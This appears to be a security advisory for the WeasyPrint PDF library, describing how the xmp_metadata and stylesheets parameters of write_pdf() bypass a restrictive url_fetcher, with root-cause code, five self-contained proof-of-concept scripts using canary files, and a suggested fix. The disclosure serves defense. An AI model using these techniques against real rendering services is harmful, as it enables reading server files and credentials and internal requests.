Summary
url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.
Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:
xmp_metadata=[url] - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.stylesheets=[url_or_path] - the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole @import / url() graph.
Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.
Affected versions
All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.
Root cause
select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):
def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):
...
if url_fetcher is None:
url_fetcher = URLFetcher()Five of the seven resource-loading sites thread the document's fetcher correctly:
<link rel=stylesheet> in weasyprint/css/__init__.py<style> in weasyprint/css/__init__.py@import in weasyprint/css/__init__.py@font-face / local() in weasyprint/text/fonts.py@color-profile src in weasyprint/css/__init__.py- images (
<img>, CSS url(), SVG) in weasyprint/images.py
Two do not — they build a fresh default fetcher instead:
write_pdf(xmp_metadata=[...]) in weasyprint/pdf/__init__.pywrite_pdf(stylesheets=[str]) in weasyprint/document.py
xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:
if options['xmp_metadata']:
for url in options['xmp_metadata']:
result = select_source(url) # no url_fetcherstylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():
for css in options['stylesheets'] or []:
if not hasattr(css, 'matcher'):
css = CSS( # no url_fetcher=html.url_fetcher
guess=css, media_type=html.media_type,
font_config=font_config, counter_style=counter_style,
color_profiles=color_profiles)Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.
Reproduction
Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.
1 - xmp_metadata= reads a file:// the fetcher blocks
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')
pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(
xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)
# -> True(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)
2 - stylesheets= applies a blocked file:// sheet (with control)
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))
# -> True
# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
url_fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))
# -> True3 - the stylesheets= bypass is transitive
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))
# -> True4 - xmp_metadata= discloses a credentials file in full
import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',
'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site_config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(
xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))
# -> TrueAn attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.
5 - scope of the stylesheets= channel (honest bound)
The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url_fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888)) # -> True
print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf) # -> FalseSuggested fix
Route both call sites through the document's url_fetcher, matching the five sites that already do this.
pdf/__init__.py - select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrict xmp_metadata to byte strings so no URL fetching occurs.)document.py - CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.
References
ko41a Reporter
Summary
url_fetcheris WeasyPrint's documented mechanism for restricting resource loading - applications use it to blockfile://, internal hosts, etc. when rendering untrusted input.Two
write_pdf()channels ignore the document'surl_fetcherand build a fresh defaultURLFetcher()instead. A restrictive fetcher set onHTML()is silently bypassed for:xmp_metadata=[url]- the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.stylesheets=[url_or_path]- the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole@import/url()graph.Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive
url_fetcherto blockfile://or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.Affected versions
All versions through current
main- v69.0, commit2945986160dedd97a7547be03805b667964e422a.Root cause
select_source()defaults to a fresh fetcher when none is passed (weasyprint/urls.py):Five of the seven resource-loading sites thread the document's fetcher correctly:
<link rel=stylesheet>inweasyprint/css/__init__.py<style>inweasyprint/css/__init__.py@importinweasyprint/css/__init__.py@font-face/local()inweasyprint/text/fonts.py@color-profile srcinweasyprint/css/__init__.py<img>, CSSurl(), SVG) inweasyprint/images.pyTwo do not — they build a fresh default fetcher instead:
write_pdf(xmp_metadata=[...])inweasyprint/pdf/__init__.pywrite_pdf(stylesheets=[str])inweasyprint/document.pyxmp_metadata-pdf/__init__.pycallsselect_source(url)with nourl_fetcher, so the default fetcher runs regardless of what the caller configured:stylesheets-document.pybuilds each sheet without passingurl_fetcher, andCSS.__init__then defaults to a freshURLFetcher():Because
@import/url()inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.Reproduction
Each script defines a
Blockfetcher that refuses everyfile://, writes its own fixture to a temp dir, and prints a boolean.Truemeans the restrictive fetcher was bypassed. No external files or network needed.1 -
xmp_metadata=reads afile://the fetcher blocks(
pdf_variant='pdf/a-3b'makes the embedded bytes observable in the output; the read happens regardless of variant.)2 -
stylesheets=applies a blockedfile://sheet (with control)3 - the
stylesheets=bypass is transitive4 -
xmp_metadata=discloses a credentials file in fullAn attacker who controls the
xmp_metadatapath reads any file the rendering process can access and receives its contents in the generated PDF.5 - scope of the
stylesheets=channel (honest bound)The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.
Suggested fix
Route both call sites through the document's
url_fetcher, matching the five sites that already do this.pdf/__init__.py-select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrictxmp_metadatato byte strings so no URL fetching occurs.)document.py-CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.References